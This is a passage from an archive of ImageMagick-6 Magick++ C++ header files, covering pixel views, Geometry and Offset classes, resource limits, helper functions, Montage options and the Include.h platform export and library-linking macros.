specified region. Modified pixels may be subsequently // transferred back to the image via sync. PixelPacket *get(const ::ssize_t x_, const ::ssize_t y_, const size_t columns_,const size_t rows_ ); // Transfer read-only pixels from the image to the pixel view as // defined by the specified region. const PixelPacket *getConst(const ::ssize_t x_,const ::ssize_t y_, const size_t columns_,const size_t rows_); // Allocate a pixel view region to store image pixels as defined // by the region rectangle. This area is subsequently transferred // from the pixel view to the image via sync. PixelPacket *set(const ::ssize_t x_,const ::ssize_t y_, const size_t columns_,const size_t rows_); // Transfers the image view pixels to the image. void sync(void); // Width of view size_t columns(void) const; // Return pixel colormap index array IndexPacket *indexes(void); // Height of view size_t rows (void) const; // Left ordinate of view ::ssize_t x(void) const; // Top ordinate of view ::ssize_t y(void) const; private: // Copying and assigning Pixels is not supported. Pixels(const Pixels& pixels_); const Pixels& operator=(const Pixels& pixels_); Magick::Image _image; // Image reference MagickCore::CacheView *_view; // Image view handle ::ssize_t _x; // Left ordinate of view ::ssize_t _y; // Top ordinate of view size_t _columns; // Width of view size_t _rows; // Height of view }; // class Pixels class MagickPPExport PixelData { public: // Construct pixel data using specified image PixelData(Magick::Image &image_,std::string map_,const StorageType type_); // Construct pixel data using specified image PixelData(Magick::Image &image_,const ::ssize_t x_,const ::ssize_t y_, const size_t width_,const size_t height_,std::string map_, const StorageType type_); // Destroy pixel data ~PixelData(void); // Pixel data buffer const void *data(void) const; // Length of the buffer ::ssize_t length(void) const; // Size of the buffer in bytes ::ssize_t size(void) const; private: // Copying and assigning PixelData is not supported PixelData(const PixelData& pixels_); const PixelData& operator=(const PixelData& pixels_); void init(Magick::Image &image_,const ::ssize_t x_,const ::ssize_t y_, const size_t width_,const size_t height_,std::string map_, const StorageType type_); void relinquish(void) throw(); void *_data; // The pixel data ::ssize_t _length; // Length of the data ::ssize_t _size; // Size of the data }; // class PixelData } // Magick namespace // // Inline methods // // Left ordinate of view inline ::ssize_t Magick::Pixels::x(void) const { return _x; } // Top ordinate of view inline ::ssize_t Magick::Pixels::y(void) const { return _y; } // Width of view inline size_t Magick::Pixels::columns(void) const { return _columns; } // Height of view inline size_t Magick::Pixels::rows(void) const { return _rows; } #endif // Magick_Pixels_header ImageMagick-6/Magick++/Geometry.h 0000644 00000017030 15246445046 0012345 0 ustar 00 // This may look like C code, but it is really -*- C++ -*- // // Copyright Bob Friesenhahn, 1999, 2000, 2001, 2002 // Copyright Dirk Lemstra 2014 // // Geometry Definition // // Representation of an ImageMagick geometry specification // X11 geometry specification plus hints #if !defined (Magick_Geometry_header) #define Magick_Geometry_header #include "Magick++/Include.h" #include <string> namespace Magick { class MagickPPExport Geometry; // Compare two Geometry objects regardless of LHS/RHS MagickPPExport int operator == (const Magick::Geometry& left_,const Magick::Geometry& right_); MagickPPExport int operator != (const Magick::Geometry& left_,const Magick::Geometry& right_); MagickPPExport int operator > (const Magick::Geometry& left_,const Magick::Geometry& right_); MagickPPExport int operator < (const Magick::Geometry& left_,const Magick::Geometry& right_); MagickPPExport int operator >= (const Magick::Geometry& left_,const Magick::Geometry& right_); MagickPPExport int operator <= (const Magick::Geometry& left_,const Magick::Geometry& right_); class MagickPPExport Geometry { public: // Default constructor Geometry(); // Construct Geometry from specified string Geometry(const char *geometry_); // Copy constructor Geometry(const Geometry &geometry_); // Construct Geometry from specified string Geometry(const std::string &geometry_); // Construct Geometry from specified dimensions Geometry(size_t width_,size_t height_,::ssize_t xOff_=0, ::ssize_t yOff_=0,bool xNegative_=false,bool yNegative_=false); // Destructor ~Geometry(void); // Set via geometry string const Geometry& operator=(const char *geometry_); // Assignment operator Geometry& operator=(const Geometry& Geometry_); // Set via geometry string const Geometry& operator=(const std::string &geometry_ ); // Return geometry string operator std::string() const; // Resize without preserving aspect ratio (!) void aspect(bool aspect_); bool aspect(void) const; // Resize the image based on the smallest fitting dimension (^) void fillArea(bool fillArea_); bool fillArea(void) const; // Resize if image is greater than size (>) void greater(bool greater_); bool greater(void) const; // Height void height(size_t height_); size_t height(void) const; // Does object contain valid geometry? void isValid(bool isValid_); bool isValid(void) const; // Resize if image is less than size (<) void less(bool less_); bool less(void) const; // Resize using a pixel area count limit (@) void limitPixels(bool limitPixels_); bool limitPixels(void) const; // Width and height are expressed as percentages void percent(bool percent_); bool percent(void) const; // Width void width(size_t width_); size_t width(void) const; // Sign of X offset negative? (X origin at right) void xNegative(bool xNegative_); bool xNegative(void) const; // X offset from origin void xOff(::ssize_t xOff_); ::ssize_t xOff(void) const; // Sign of Y offset negative? (Y origin at bottom) void yNegative(bool yNegative_); bool yNegative(void) const; // Y offset from origin void yOff(::ssize_t yOff_); ::ssize_t yOff(void) const; // // Public methods below this point are for Magick++ use only. // // Construct from RectangleInfo Geometry(const MagickCore::RectangleInfo &rectangle_); // Set via RectangleInfo const Geometry& operator=(const MagickCore::RectangleInfo &rectangle_); // Return an ImageMagick RectangleInfo struct operator MagickCore::RectangleInfo() const; private: size_t _width; size_t _height; ::ssize_t _xOff; ::ssize_t _yOff; bool _xNegative; bool _yNegative; bool _isValid; bool _percent; // Interpret width & height as percentages (%) bool _aspect; // Force exact size (!) bool _greater; // Resize only if larger than geometry (>) bool _less; // Resize only if smaller than geometry (<) bool _fillArea; // Resize the image based on the smallest fitting dimension (^) bool _limitPixels; // Resize using a pixel area count limit (@) }; class MagickPPExport Offset; // Compare two Offset objects MagickPPExport int operator == (const Magick::Offset& left_,const Magick::Offset& right_); MagickPPExport int operator != (const Magick::Offset& left_,const Magick::Offset& right_); class MagickPPExport Offset { public: // Default constructor Offset(); // Construct Offset from specified string Offset(const char *offset_); // Copy constructor Offset(const Offset &offset_); // Construct Offset from specified string Offset(const std::string &offset_); // Construct Offset from specified x and y Offset(ssize_t x_,ssize_t y_); // Destructor ~Offset(void); // Set via offset string const Offset& operator=(const char *offset_); // Assignment operator Offset& operator=(const Offset& offset_); // Set via offset string const Offset& operator=(const std::string &offset_); // X offset from origin ssize_t x(void) const; // Y offset from origin ssize_t y(void) const; // // Public methods below this point are for Magick++ use only. // // Return an ImageMagick OffsetInfo struct operator MagickCore::OffsetInfo() const; private: ssize_t _x; ssize_t _y; }; } // namespace Magick // // Inlines // inline void Magick::Geometry::aspect(bool aspect_) { _aspect=aspect_; } inline bool Magick::Geometry::aspect(void) const { return(_aspect); } inline void Magick::Geometry::fillArea(bool fillArea_) { _fillArea=fillArea_; } inline bool Magick::Geometry::fillArea(void) const { return(_fillArea); } inline void Magick::Geometry::greater(bool greater_) { _greater=greater_; } inline bool Magick::Geometry::greater(void) const { return(_greater); } inline void Magick::Geometry::height(size_t height_) { _height=height_; } inline size_t Magick::Geometry::height(void) const { return(_height); } inline void Magick::Geometry::isValid(bool isValid_) { _isValid=isValid_; } inline bool Magick::Geometry::isValid(void) const { return(_isValid); } inline void Magick::Geometry::less(bool less_) { _less=less_; } inline bool Magick::Geometry::less(void) const { return(_less); } inline void Magick::Geometry::limitPixels(bool limitPixels_) { _limitPixels=limitPixels_; } inline bool Magick::Geometry::limitPixels(void) const { return(_limitPixels); } inline void Magick::Geometry::width(size_t width_) { _width=width_; isValid(true); } inline void Magick::Geometry::percent(bool percent_) { _percent = percent_; } inline bool Magick::Geometry::percent(void) const { return(_percent); } inline size_t Magick::Geometry::width(void) const { return(_width); } inline void Magick::Geometry::xNegative(bool xNegative_) { _xNegative=xNegative_; } inline bool Magick::Geometry::xNegative(void) const { return(_xNegative); } inline void Magick::Geometry::xOff(::ssize_t xOff_) { _xOff=xOff_; } inline ::ssize_t Magick::Geometry::xOff(void) const { return(_xOff); } inline void Magick::Geometry::yNegative(bool yNegative_) { _yNegative=yNegative_; } inline bool Magick::Geometry::yNegative(void) const { return(_yNegative); } inline void Magick::Geometry::yOff(::ssize_t yOff_) { _yOff=yOff_; } inline ::ssize_t Magick::Geometry::yOff(void) const { return(_yOff); } #endif // Magick_Geometry_header ImageMagick-6/Magick++/ResourceLimits.h 0000644 00000004722 15246445046 0013527 0 ustar 00 // This may look like C code, but it is really -*- C++ -*- // // Copyright Dirk Lemstra 2014-2018 // // Definition of resource limits. // #if !defined(Magick_ResourceLimits_header) #define Magick_ResourceLimits_header #include "Magick++/Include.h" namespace Magick { class MagickPPExport ResourceLimits { public: // Pixel cache limit in bytes. Requests for memory above this limit // are automagically allocated on disk. static void area(const MagickSizeType limit_); static MagickSizeType area(void); // Pixel cache limit in bytes. Requests for memory above this limit // will fail. static void disk(const MagickSizeType limit_); static MagickSizeType disk(void); // The maximum number of open pixel cache files. When this limit is // exceeded, any subsequent pixels cached to disk are closed and reopened // on demand. This behavior permits a large number of images to be accessed // simultaneously on disk, but with a speed penalty due to repeated // open/close calls. static void file(const MagickSizeType limit_); static MagickSizeType file(void); // The maximum height of an image. static void height(const MagickSizeType limit_); static MagickSizeType height(void); // The maximum number of images in an image list. static void listLength(const MagickSizeType limit_); static MagickSizeType listLength(); // Pixel cache limit in bytes. Once this memory limit is exceeded, // all subsequent pixels cache operations are to/from disk. static void map(const MagickSizeType limit_); static MagickSizeType map(void); // Pixel cache limit in bytes. Once this memory limit is exceeded, // all subsequent pixels cache operations are to/from disk or to/from // memory mapped files. static void memory(const MagickSizeType limit_); static MagickSizeType memory(void); // Limits the number of threads used in multithreaded operations. static void thread(const MagickSizeType limit_); static MagickSizeType thread(void); // Periodically yield the CPU for at least the time specified in // milliseconds. static void throttle(const MagickSizeType limit_); static MagickSizeType throttle(void); // The maximum width of an image. static void width(const MagickSizeType limit_); static MagickSizeType width(void); private: ResourceLimits(void); }; // class ResourceLimits } // Magick namespace #endif // Magick_ResourceLimits_header ImageMagick-6/Magick++/Functions.h 0000644 00000002174 15246445046 0012525 0 ustar 00 // This may look like C code, but it is really -*- C++ -*- // // Copyright Bob Friesenhahn, 1999, 2000, 2001, 2003 // Copyright Dirk Lemstra 2014 // // Simple C++ function wrappers for often used or otherwise // inconvenient ImageMagick equivalents // #if !defined(Magick_Functions_header) #define Magick_Functions_header #include "Magick++/Include.h" #include <string> namespace Magick { // Clone C++ string as allocated C string, de-allocating any existing string MagickPPExport void CloneString(char **destination_, const std::string &source_); // Disable OpenCL acceleration (only works when build with OpenCL support) MagickPPExport void DisableOpenCL(void); // Enable OpenCL acceleration (only works when build with OpenCL support) MagickPPExport bool EnableOpenCL(const bool useCache_=true); // C library initialization routine MagickPPExport void InitializeMagick(const char *path_); // Seed a new sequence of pseudo-random numbers MagickPPExport void SetRandomSeed(const unsigned long seed); // C library initialization routine MagickPPExport void TerminateMagick(); } #endif // Magick_Functions_header ImageMagick-6/Magick++/Montage.h 0000644 00000017040 15246445046 0012145 0 ustar 00 // This may look like C code, but it is really -*- C++ -*- // // Copyright Bob Friesenhahn, 1999, 2000, 2001, 2002, 2003 // // Definition of Montage class used to specify montage options. // #if !defined(Magick_Montage_header) #define Magick_Montage_header #include "Magick++/Include.h" #include <string> #include "Magick++/Color.h" #include "Magick++/Geometry.h" // // Basic (Un-framed) Montage // namespace Magick { class MagickPPExport Montage { public: Montage(void); virtual ~Montage(void); // Color that thumbnails are composed on void backgroundColor(const Color &backgroundColor_); Color backgroundColor(void) const; // Composition algorithm to use (e.g. ReplaceCompositeOp) void compose(CompositeOperator compose_); CompositeOperator compose(void) const; // Filename to save montages to void fileName(const std::string &fileName_); std::string fileName(void) const; // Fill color void fillColor(const Color &fill_); Color fillColor(void) const; // Label font void font(const std::string &font_); std::string font(void) const; // Thumbnail width & height plus border width & height void geometry(const Geometry &geometry_); Geometry geometry(void) const; // Thumbnail position (e.g. SouthWestGravity) void gravity(GravityType gravity_); GravityType gravity(void) const; // Thumbnail label (applied to image prior to montage) void label(const std::string &label_); std::string label(void) const; // Same as fill color void penColor(const Color &pen_); Color penColor(void) const; // Font point size void pointSize(size_t pointSize_); size_t pointSize(void) const; // Enable drop-shadows on thumbnails void shadow(bool shadow_); bool shadow(void) const; // Outline color void strokeColor(const Color &stroke_); Color strokeColor(void) const; // Background texture image void texture(const std::string &texture_); std::string texture(void) const; // Thumbnail rows and columns void tile(const Geometry &tile_); Geometry tile(void) const; // Montage title void title(const std::string &title_); std::string title(void) const; // Transparent color void transparentColor(const Color &transparentColor_); Color transparentColor(void) const; // // Implementation methods/members // // Update elements in existing MontageInfo structure virtual void updateMontageInfo(MagickCore::MontageInfo &montageInfo_) const; private: Color _backgroundColor; CompositeOperator _compose; std::string _fileName; Color _fill; std::string _font; Geometry _geometry; GravityType _gravity; std::string _label; size_t _pointSize; bool _shadow; Color _stroke; std::string _texture; Geometry _tile; std::string _title; Color _transparentColor; }; // // Montage With Frames (Extends Basic Montage) // class MagickPPExport MontageFramed : public Montage { public: MontageFramed(void); ~MontageFramed(void); // Frame border color void borderColor(const Color &borderColor_); Color borderColor(void) const; // Pixels between thumbnail and surrounding frame void borderWidth(size_t borderWidth_); size_t borderWidth(void) const; // Frame geometry (width & height frame thickness) void frameGeometry(const Geometry &frame_); Geometry frameGeometry(void) const; // Frame foreground color void matteColor(const Color &matteColor_); Color matteColor(void) const; // // Implementation methods/members // // Update elements in existing MontageInfo structure void updateMontageInfo(MagickCore::MontageInfo &montageInfo_) const; private: Color _borderColor; size_t _borderWidth; Geometry _frame; Color _matteColor; }; } // namespace Magick // // Inlines // // // Implementation of Montage // inline void Magick::Montage::backgroundColor(const Magick::Color &backgroundColor_) { _backgroundColor=backgroundColor_; } inline Magick::Color Magick::Montage::backgroundColor(void) const { return(_backgroundColor); } inline void Magick::Montage::compose(Magick::CompositeOperator compose_) { _compose=compose_; } inline Magick::CompositeOperator Magick::Montage::compose(void) const { return(_compose); } inline void Magick::Montage::fileName(const std::string &fileName_) { _fileName=fileName_; } inline std::string Magick::Montage::fileName(void) const { return(_fileName); } inline void Magick::Montage::fillColor(const Color &fill_) { _fill=fill_; } inline Magick::Color Magick::Montage::fillColor(void) const { return(_fill); } inline void Magick::Montage::font(const std::string &font_) { _font=font_; } inline std::string Magick::Montage::font(void) const { return(_font); } inline void Magick::Montage::geometry(const Magick::Geometry &geometry_) { _geometry=geometry_; } inline Magick::Geometry Magick::Montage::geometry(void) const { return(_geometry); } inline void Magick::Montage::gravity(Magick::GravityType gravity_) { _gravity=gravity_; } inline Magick::GravityType Magick::Montage::gravity(void) const { return(_gravity); } inline void Magick::Montage::label(const std::string &label_) { _label=label_; } inline std::string Magick::Montage::label(void) const { return(_label); } inline void Magick::Montage::penColor(const Color &pen_) { _fill=pen_; _stroke=Color("none"); } inline Magick::Color Magick::Montage::penColor(void) const { return _fill; } inline void Magick::Montage::pointSize(size_t pointSize_) { _pointSize=pointSize_; } inline size_t Magick::Montage::pointSize(void) const { return(_pointSize); } inline void Magick::Montage::shadow(bool shadow_) { _shadow=shadow_; } inline bool Magick::Montage::shadow(void) const { return(_shadow); } inline void Magick::Montage::strokeColor(const Color &stroke_) { _stroke=stroke_; } inline Magick::Color Magick::Montage::strokeColor(void) const { return(_stroke); } inline void Magick::Montage::texture(const std::string &texture_) { _texture=texture_; } inline std::string Magick::Montage::texture(void) const { return(_texture); } inline void Magick::Montage::tile(const Geometry &tile_) { _tile=tile_; } inline Magick::Geometry Magick::Montage::tile(void) const { return(_tile); } inline void Magick::Montage::title(const std::string &title_) { _title=title_; } inline std::string Magick::Montage::title(void) const { return(_title); } inline void Magick::Montage::transparentColor(const Magick::Color &transparentColor_) { _transparentColor=transparentColor_; } inline Magick::Color Magick::Montage::transparentColor(void) const { return(_transparentColor); } // // Implementation of MontageFramed // inline void Magick::MontageFramed::borderColor(const Magick::Color &borderColor_) { _borderColor=borderColor_; } inline Magick::Color Magick::MontageFramed::borderColor(void) const { return(_borderColor); } inline void Magick::MontageFramed::borderWidth(size_t borderWidth_) { _borderWidth=borderWidth_; } inline size_t Magick::MontageFramed::borderWidth(void) const { return(_borderWidth); } inline void Magick::MontageFramed::frameGeometry(const Magick::Geometry &frame_) { _frame=frame_; } inline Magick::Geometry Magick::MontageFramed::frameGeometry(void) const { return(_frame); } inline void Magick::MontageFramed::matteColor(const Magick::Color &matteColor_) { _matteColor=matteColor_; } inline Magick::Color Magick::MontageFramed::matteColor(void) const { return(_matteColor); } #endif // Magick_Montage_header ImageMagick-6/Magick++/Include.h 0000644 00000153714 15246445046 0012147 0 ustar 00 // This may look like C code, but it is really -*- C++ -*- // // Copyright Bob Friesenhahn, 1999, 2000, 2001, 2002 // Copyright Dirk Lemstra 2013-2017 // // Inclusion of ImageMagick headers (with namespace magic) #ifndef Magick_Include_header #define Magick_Include_header #if !defined(_MAGICK_CONFIG_H) # define _MAGICK_CONFIG_H # if !defined(vms) && !defined(macintosh) # include "magick/magick-config.h" # else # include "magick-config.h" # endif # undef inline // Remove possible definition from config.h # undef class #endif // Needed for stdio FILE #include <stdio.h> #include <stdarg.h> #include <stdlib.h> #include <time.h> #include <math.h> #include <sys/types.h> #include <errno.h> #include <stdint.h> #if defined(__BORLANDC__) # include <vcl.h> /* Borland C++ Builder 4.0 requirement */ #endif // defined(__BORLANDC__) // // Include ImageMagick headers into namespace "MagickCore". If // MAGICKCORE_IMPLEMENTATION is defined, include ImageMagick development // headers. This scheme minimizes the possibility of conflict with // user code. // namespace MagickCore { #include <magick/MagickCore.h> #include <wand/MagickWand.h> #undef inline // Remove possible definition from config.h #undef class } // // Provide appropriate DLL imports/exports for Visual C++, // Borland C++Builder and MinGW builds. // #if defined(WIN32) && !defined(__CYGWIN__) && !defined(__MINGW32__) # define MagickCplusPlusDLLSupported #endif #if defined(MagickCplusPlusDLLSupported) # if defined(_MT) && defined(_DLL) && !defined(_LIB) && !defined(STATIC_MAGICK) // // In a native Windows build, the following defines are used: // // _MT = Multithreaded // _DLL = Using code is part of a DLL // _LIB = Using code is being built as a library. // _MAGICKMOD_ = Build uses loadable modules (Magick++ does not care about this) // // In the case where ImageMagick is built as a static library but the // using code is dynamic, STATIC_MAGICK may be defined in the project to // override triggering dynamic library behavior. // # if defined(_VISUALC_) # define MagickDLLExplicitTemplate # pragma warning( disable: 4273 ) /* Disable the stupid dll linkage warnings */ # pragma warning( disable: 4251 ) # endif # if !defined(MAGICKCORE_IMPLEMENTATION) # if defined(__GNUC__) # define MagickPPExport __attribute__ ((dllimport)) # else # define MagickPPExport __declspec(dllimport) # endif # define MagickPPPrivate extern __declspec(dllimport) # else # if defined(__BORLANDC__) || defined(__MINGW32__) # define MagickPPExport __declspec(dllexport) # define MagickPPPrivate __declspec(dllexport) # else # if defined(__GNUC__) # define MagickPPExport __attribute__ ((dllexport)) # else # define MagickPPExport __declspec(dllexport) # endif # define MagickPPPrivate extern __declspec(dllexport) # endif # endif # else # define MagickPPExport # define MagickPPPrivate # if defined(_MSC_VER) && defined(STATIC_MAGICK) && !defined(NOAUTOLINK_MAGICK) # if defined(_DEBUG) # if defined(MAGICKCORE_BZLIB_DELEGATE) # pragma comment(lib, "CORE_DB_bzlib_.lib") # endif # if defined(MAGICKCORE_CAIRO_DELEGATE) # pragma comment(lib, "CORE_DB_cairo_.lib") # endif # if defined(MAGICKCORE_OPENEXR_DELEGATE) # pragma comment(lib, "CORE_DB_exr_.lib") # endif # if defined(MAGICKCORE_FLIF_DELEGATE) # pragma comment(lib, "CORE_DB_flif_.lib") # endif # if defined(MAGICKCORE_JBIG_DELEGATE) # pragma comment(lib, "CORE_DB_jbig_.lib") # endif # if defined(MAGICKCORE_JP2_DELEGATE) # pragma comment(lib, "CORE_DB_jp2_.lib") # endif # if defined(MAGICKCORE_JPEG_DELEGATE) # pragma comment(lib, "CORE_DB_jpeg-turbo_.lib") # endif # if defined(MAGICKCORE_LCMS_DELEGATE) # pragma comment(lib, "CORE_DB_lcms_.lib") # endif # if defined(MAGICKCORE_HEIC_DELEGATE) # pragma comment(lib, "CORE_DB_de265_.lib") # pragma comment(lib, "CORE_DB_heif_.lib") # endif # if defined(MAGICKCORE_LZMA_DELEGATE) # pragma comment(lib, "CORE_DB_lzma_.lib") # endif # if defined(MAGICKCORE_RAW_R_DELEGATE) # pragma comment(lib, "CORE_DB_raw_.lib") # endif # if defined(MAGICKCORE_RSVG_DELEGATE) # pragma comment(lib, "CORE_DB_rsvg_.lib") # endif # if defined(MAGICKCORE_XML_DELEGATE) # pragma comment(lib, "CORE_DB_xml_.lib") # endif # if defined(MAGICKCORE_LQR_DELEGATE) # pragma comment(lib, "CORE_DB_ffi_.lib") # pragma comment(lib, "CORE_DB_glib_.lib") # pragma comment(lib, "CORE_DB_lqr_.lib") # pragma comment(lib, "winmm.lib") # endif # if defined(MAGICKCORE_LIBOPENJP2_DELEGATE) # pragma comment(lib, "CORE_DB_openjpeg_.lib") # endif # if defined(MAGICKCORE_PANGOCAIRO_DELEGATE) # pragma comment(lib, "CORE_DB_pango_.lib") # pragma comment(lib, "CORE_DB_pixman_.lib") # endif # if defined(MAGICKCORE_PNG_DELEGATE) # pragma comment(lib, "CORE_DB_png_.lib") # endif # if defined(MAGICKCORE_RAQM_DELEGATE) # pragma comment(lib, "CORE_DB_raqm_.lib") # endif # if defined(MAGICKCORE_TIFF_DELEGATE) # pragma comment(lib, "CORE_DB_tiff_.lib") # endif # if defined(MAGICKCORE_FREETYPE_DELEGATE) # pragma comment(lib, "CORE_DB_ttf_.lib") # endif # if defined(MAGICKCORE_WEBP_DELEGATE) # pragma comment(lib, "CORE_DB_webp_.lib") # endif # if defined(MAGICKCORE_ZLIB_DELEGATE) # pragma comment(lib, "CORE_DB_zlib_.lib") # endif # pragma comment(lib, "CORE_DB_coders_.lib") # pragma comment(lib, "CORE_DB_filters_.lib") # pragma comment(lib, "CORE_DB_Magick++_.lib") # pragma comment(lib, "CORE_DB_MagickCore_.lib") # pragma comment(lib, "CORE_DB_MagickWand_.lib") # else # if defined(MAGICKCORE_BZLIB_DELEGATE) # pragma comment(lib, "CORE_RL_bzlib_.lib") # endif # if defined(MAGICKCORE_CAIRO_DELEGATE) # pragma comment(lib, "CORE_RL_cairo_.lib") # endif # if defined(MAGICKCORE_OPENEXR_DELEGATE) # pragma comment(lib, "CORE_RL_exr_.lib") # endif # if defined(MAGICKCORE_FLIF_DELEGATE) # pragma comment(lib, "CORE_RL_flif_.lib") # endif # if defined(MAGICKCORE_JBIG_DELEGATE) # pragma comment(lib, "CORE_RL_jbig_.lib") # endif # if defined(MAGICKCORE_JP2_DELEGATE) # pragma comment(lib, "CORE_RL_jp2_.lib") # endif # if defined(MAGICKCORE_JPEG_DELEGATE) # pragma comment(lib, "CORE_RL_jpeg-turbo_.lib") # endif # if defined(MAGICKCORE_LCMS_DELEGATE) # pragma comment(lib, "CORE_RL_lcms_.lib") # endif # if defined(MAGICKCORE_HEIC_DELEGATE) # pragma comment(lib, "CORE_RL_de265_.lib") # pragma comment(lib, "CORE_RL_heif_.lib") # endif # if defined(MAGICKCORE_LZMA_DELEGATE) # pragma comment(lib, "CORE_RL_lzma_.lib") # endif # if defined(MAGICKCORE_RAW_R_DELEGATE) # pragma comment(lib, "CORE_RL_raw_.lib") # endif # if defined(MAGICKCORE_RSVG_DELEGATE) # pragma comment(lib, "CORE_RL_rsvg_.lib") # endif # if defined(MAGICKCORE_XML_DELEGATE) # pragma comment(lib, "CORE_RL_xml_.lib") # endif # if defined(MAGICKCORE_LQR_DELEGATE) # pragma comment(lib, "CORE_RL_ffi_.lib") # pragma comment(lib, "CORE_RL_glib_.lib") # pragma comment(lib, "CORE_RL_lqr_.lib") # pragma comment(lib, "winmm.lib") # endif # if defined(MAGICKCORE_LIBOPENJP2_DELEGATE) # pragma comment(lib, "CORE_RL_openjpeg_.lib") # endif # if defined(MAGICKCORE_PANGOCAIRO_DELEGATE) # pragma comment(lib, "CORE_RL_pango_.lib") # pragma comment(lib, "CORE_RL_pixman_.lib") # endif # if defined(MAGICKCORE_PNG_DELEGATE) # pragma comment(lib, "CORE_RL_png_.lib") # endif # if defined(MAGICKCORE_RAQM_DELEGATE) # pragma comment(lib, "CORE_RL_raqm_.lib") # endif # if defined(MAGICKCORE_TIFF_DELEGATE) # pragma comment(lib, "CORE_RL_tiff_.lib") # endif # if defined(MAGICKCORE_FREETYPE_DELEGATE) # pragma comment(lib, "CORE_RL_ttf_.lib") # endif # if defined(MAGICKCORE_WEBP_DELEGATE) # pragma comment(lib, "CORE_RL_webp_.lib") # endif # if defined(MAGICKCORE_ZLIB_DELEGATE) # pragma comment(lib, "CORE_RL_zlib_.lib") # endif # pragma comment(lib, "CORE_RL_coders_.lib") # pragma comment(lib, "CORE_RL_filters_.lib") # pragma comment(lib, "CORE_RL_Magick++_.lib") # pragma comment(lib, "CORE_RL_magick_.lib") # pragma comment(lib, "CORE_RL_wand_.lib") # endif # if defined(_WIN32_WCE) # pragma comment(lib, "wsock32.lib") # else # pragma comment(lib, "ws2_32.lib") # endif # pragma comment(lib, "urlmon.lib") # endif # endif #else # if __GNUC__ >= 4 # define MagickPPExport __attribute__ ((visibility ("default"))) # define MagickPPPrivate __attribute__ ((visibility ("hidden"))) # else # define MagickPPExport # define MagickPPPrivate # endif #endif #if (defined(WIN32) || defined(WIN64)) && defined(_VISUALC_) # pragma warning(disable : 4996) /* function deprecation warnings */ #endif // // Import ImageMagick symbols and types which are used as part of the // Magick++ API definition into namespace "Magick". // namespace Magick { // The datatype for an RGB component using MagickCore::Quantum; using MagickCore::MagickRealType; using MagickCore::MagickSizeType; // Boolean types using MagickCore::MagickBooleanType; using MagickCore::MagickFalse; using MagickCore::MagickTrue; // Alpha channel types using MagickCore::AlphaChannelType; using MagickCore::UndefinedAlphaChannel; using MagickCore::ActivateAlphaChannel; using MagickCore::BackgroundAlphaChannel; using MagickCore::CopyAlphaChannel; using MagickCore::DeactivateAlphaChannel; using MagickCore::ExtractAlphaChannel; using MagickCore::OpaqueAlphaChannel; using MagickCore::SetAlphaChannel; using MagickCore::ShapeAlphaChannel; using MagickCore::TransparentAlphaChannel; using MagickCore::FlattenAlphaChannel; using MagickCore::RemoveAlphaChannel; using MagickCore::AssociateAlphaChannel; using MagickCore::DisassociateAlphaChannel; // Image class types using MagickCore::ClassType; using MagickCore::UndefinedClass; using MagickCore::DirectClass; using MagickCore::PseudoClass; // Channel types using MagickCore::ChannelType; using MagickCore::UndefinedChannel; using MagickCore::RedChannel; using MagickCore::GrayChannel; using MagickCore::CyanChannel; using MagickCore::GreenChannel; using MagickCore::MagentaChannel; using MagickCore::BlueChannel; using MagickCore::YellowChannel; using MagickCore::AlphaChannel; using MagickCore::OpacityChannel; using MagickCore::MatteChannel; /* deprecated */ using MagickCore::BlackChannel; using MagickCore::IndexChannel; using MagickCore::CompositeChannels; using MagickCore::AllChannels; using MagickCore::TrueAlphaChannel; using MagickCore::RGBChannels; using MagickCore::GrayChannels; using MagickCore::SyncChannels; using MagickCore::DefaultChannels; // Color-space types using MagickCore::ColorspaceType; using MagickCore::UndefinedColorspace; using MagickCore::CMYColorspace; using MagickCore::CMYKColorspace; using MagickCore::GRAYColorspace; using MagickCore::HCLColorspace; using MagickCore::HCLpColorspace; using MagickCore::HSBColorspace; using MagickCore::HSIColorspace; using MagickCore::HSLColorspace; using MagickCore::HSVColorspace; using MagickCore::HWBColorspace; using MagickCore::LabColorspace; using MagickCore::LCHColorspace; using MagickCore::LCHabColorspace; using MagickCore::LCHuvColorspace; using MagickCore::LogColorspace; using MagickCore::LMSColorspace; using MagickCore::LuvColorspace; using MagickCore::OHTAColorspace; using MagickCore::Rec601LumaColorspace; using MagickCore::Rec601YCbCrColorspace; using MagickCore::Rec709LumaColorspace; using MagickCore::Rec709YCbCrColorspace; using MagickCore::RGBColorspace; using MagickCore::scRGBColorspace; using MagickCore::sRGBColorspace; using MagickCore::TransparentColorspace; using MagickCore::XYZColorspace; using MagickCore::YCbCrColorspace; using MagickCore::YCCColorspace; using MagickCore::YDbDrColorspace; using MagickCore::YIQColorspace; using MagickCore::YPbPrColorspace; using MagickCore::YUVColorspace; using MagickCore::xyYColorspace; // Command options using MagickCore::CommandOption; using MagickCore::MagickDirectionOptions; using MagickCore::MagickGravityOptions; using MagickCore::MagickKernelOptions; using MagickCore::MagickStyleOptions; // Composition operations using MagickCore::CompositeOperator; using MagickCore::UndefinedCompositeOp; using MagickCore::NoCompositeOp; using MagickCore::ModulusAddCompositeOp; using MagickCore::AtopCompositeOp; using MagickCore::BlendCompositeOp; using MagickCore::BumpmapCompositeOp; using MagickCore::ChangeMaskCompositeOp; using MagickCore::ClearCompositeOp; using MagickCore::ColorBurnCompositeOp; using MagickCore::ColorDodgeCompositeOp; using MagickCore::ColorizeCompositeOp; using MagickCore::CopyBlackCompositeOp; using MagickCore::CopyBlueCompositeOp; using MagickCore::CopyCompositeOp; using MagickCore::CopyCyanCompositeOp; using MagickCore::CopyGreenCompositeOp; using MagickCore::CopyMagentaCompositeOp; using MagickCore::CopyOpacityCompositeOp; using MagickCore::CopyRedCompositeOp; using MagickCore::CopyYellowCompositeOp; using MagickCore::DarkenCompositeOp; using MagickCore::DstAtopCompositeOp; using MagickCore::DstCompositeOp; using MagickCore::DstInCompositeOp; using MagickCore::DstOutCompositeOp; using MagickCore::DstOverCompositeOp; using MagickCore::DifferenceCompositeOp; using MagickCore::DisplaceCompositeOp; using MagickCore::DissolveCompositeOp; using MagickCore::ExclusionCompositeOp; using MagickCore::HardLightCompositeOp; using MagickCore::HardMixCompositeOp; using MagickCore::HueCompositeOp; using MagickCore::InCompositeOp; using MagickCore::LightenCompositeOp; using MagickCore::LinearLightCompositeOp; using MagickCore::LuminizeCompositeOp; using MagickCore::MinusDstCompositeOp; using MagickCore::ModulateCompositeOp; using MagickCore::MultiplyCompositeOp; using MagickCore::OutCompositeOp; using MagickCore::OverCompositeOp; using MagickCore::OverlayCompositeOp; using MagickCore::PlusCompositeOp; using MagickCore::ReplaceCompositeOp; using MagickCore::SaturateCompositeOp; using MagickCore::ScreenCompositeOp; 